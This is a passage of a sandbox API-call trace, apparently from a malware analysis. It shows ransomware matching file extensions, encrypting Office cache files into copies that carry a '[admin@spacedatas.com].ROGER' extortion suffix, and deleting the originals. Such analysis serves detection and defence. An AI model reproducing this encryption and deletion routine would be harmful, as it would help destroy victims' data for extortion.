lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".rar") returned 4 [0037.187] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".bz2") returned 4 [0037.187] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".7z") returned 3 [0037.187] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString=".dbf") returned 4 [0037.187] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString=".1cd") returned 4 [0037.187] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString=".jpg") returned 4 [0037.187] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0037.188] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.188] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0037.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0037.386] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1565) returned 1 [0037.386] CloseHandle (hObject=0x360) returned 1 [0037.386] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0037.386] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0037.387] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.387] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.107] GetLastError () returned 0x0 [0038.107] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x61d, lpOverlapped=0x0) returned 1 [0038.108] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x620, lpOverlapped=0x0) returned 1 [0038.109] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.109] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.109] SetEndOfFile (hFile=0x358) returned 1 [0038.109] CloseHandle (hObject=0x358) returned 1 [0038.111] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.111] SetEndOfFile (hFile=0x360) returned 1 [0038.112] CloseHandle (hObject=0x360) returned 1 [0038.112] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.112] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0038.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.112] lstrlenW (lpString=".doc") returned 4 [0038.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.112] lstrlenW (lpString=".docx") returned 5 [0038.112] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.112] lstrlenW (lpString=".pdf") returned 4 [0038.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.112] lstrlenW (lpString=".xls") returned 4 [0038.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.112] lstrlenW (lpString=".xlsx") returned 5 [0038.113] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.113] lstrlenW (lpString=".ppt") returned 4 [0038.113] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString=".zip") returned 4 [0038.113] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.113] lstrlenW (lpString=".rar") returned 4 [0038.113] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString=".bz2") returned 4 [0038.113] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString=".7z") returned 3 [0038.113] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString=".dbf") returned 4 [0038.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString=".1cd") returned 4 [0038.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString=".jpg") returned 4 [0038.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.113] lstrlenW (lpString=".doc") returned 4 [0038.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString=".docx") returned 5 [0038.113] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.113] lstrlenW (lpString=".pdf") returned 4 [0038.113] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString=".xls") returned 4 [0038.113] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.113] lstrlenW (lpString=".xlsx") returned 5 [0038.113] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.113] lstrlenW (lpString=".ppt") returned 4 [0038.114] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.114] lstrlenW (lpString=".zip") returned 4 [0038.114] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.114] lstrlenW (lpString=".rar") returned 4 [0038.114] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.114] lstrlenW (lpString=".bz2") returned 4 [0038.114] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.114] lstrlenW (lpString=".7z") returned 3 [0038.114] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.114] lstrlenW (lpString=".dbf") returned 4 [0038.114] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.114] lstrlenW (lpString=".1cd") returned 4 [0038.114] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0038.114] lstrlenW (lpString=".jpg") returned 4 [0038.114] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.114] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.114] lstrlenW (lpString="Proof.xml") returned 9 [0038.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.114] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1458) returned 1 [0038.114] CloseHandle (hObject=0x360) returned 1 [0038.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0038.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.115] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.115] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.116] GetLastError () returned 0x0 [0038.116] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x5b2, lpOverlapped=0x0) returned 1 [0038.117] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0038.118] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.118] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.118] SetEndOfFile (hFile=0x358) returned 1 [0038.119] CloseHandle (hObject=0x358) returned 1 [0038.119] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.119] SetEndOfFile (hFile=0x360) returned 1 [0038.120] CloseHandle (hObject=0x360) returned 1 [0038.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.120] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0038.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.120] lstrlenW (lpString=".doc") returned 4 [0038.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".docx") returned 5 [0038.121] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.121] lstrlenW (lpString=".pdf") returned 4 [0038.121] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".xls") returned 4 [0038.121] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".xlsx") returned 5 [0038.121] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.121] lstrlenW (lpString=".ppt") returned 4 [0038.121] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString=".zip") returned 4 [0038.121] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.121] lstrlenW (lpString=".rar") returned 4 [0038.121] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".bz2") returned 4 [0038.121] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".7z") returned 3 [0038.121] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString=".dbf") returned 4 [0038.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString=".1cd") returned 4 [0038.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString=".jpg") returned 4 [0038.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.121] lstrlenW (lpString=".doc") returned 4 [0038.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.121] lstrlenW (lpString=".docx") returned 5 [0038.122] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.122] lstrlenW (lpString=".pdf") returned 4 [0038.122] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString=".xls") returned 4 [0038.122] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString=".xlsx") returned 5 [0038.122] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.122] lstrlenW (lpString=".ppt") returned 4 [0038.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.122] lstrlenW (lpString=".zip") returned 4 [0038.122] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.122] lstrlenW (lpString=".rar") returned 4 [0038.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString=".bz2") returned 4 [0038.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString=".7z") returned 3 [0038.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.122] lstrlenW (lpString=".dbf") returned 4 [0038.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.122] lstrlenW (lpString=".1cd") returned 4 [0038.122] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0038.122] lstrlenW (lpString=".jpg") returned 4 [0038.122] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.122] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.122] lstrlenW (lpString="Proofing.xml") returned 12 [0038.122] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.123] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=811) returned 1 [0038.123] CloseHandle (hObject=0x360) returned 1 [0038.123] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0038.123] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.123] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.123] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.123] GetLastError () returned 0x0 [0038.123] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x32b, lpOverlapped=0x0) returned 1 [0038.125] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x330, lpOverlapped=0x0) returned 1 [0038.126] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.126] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.126] SetEndOfFile (hFile=0x358) returned 1 [0038.126] CloseHandle (hObject=0x358) returned 1 [0038.127] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.127] SetEndOfFile (hFile=0x360) returned 1 [0038.128] CloseHandle (hObject=0x360) returned 1 [0038.128] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.128] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0038.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.128] lstrlenW (lpString=".doc") returned 4 [0038.128] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.128] lstrlenW (lpString=".docx") returned 5 [0038.128] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0038.128] lstrlenW (lpString=".pdf") returned 4 [0038.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.128] lstrlenW (lpString=".xls") returned 4 [0038.128] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.128] lstrlenW (lpString=".xlsx") returned 5 [0038.128] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0038.128] lstrlenW (lpString=".ppt") returned 4 [0038.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".zip") returned 4 [0038.129] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.129] lstrlenW (lpString=".rar") returned 4 [0038.129] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString=".bz2") returned 4 [0038.129] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString=".7z") returned 3 [0038.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".dbf") returned 4 [0038.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".1cd") returned 4 [0038.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".jpg") returned 4 [0038.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".doc") returned 4 [0038.129] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString=".docx") returned 5 [0038.129] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0038.129] lstrlenW (lpString=".pdf") returned 4 [0038.129] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString=".xls") returned 4 [0038.129] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString=".xlsx") returned 5 [0038.129] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0038.129] lstrlenW (lpString=".ppt") returned 4 [0038.129] 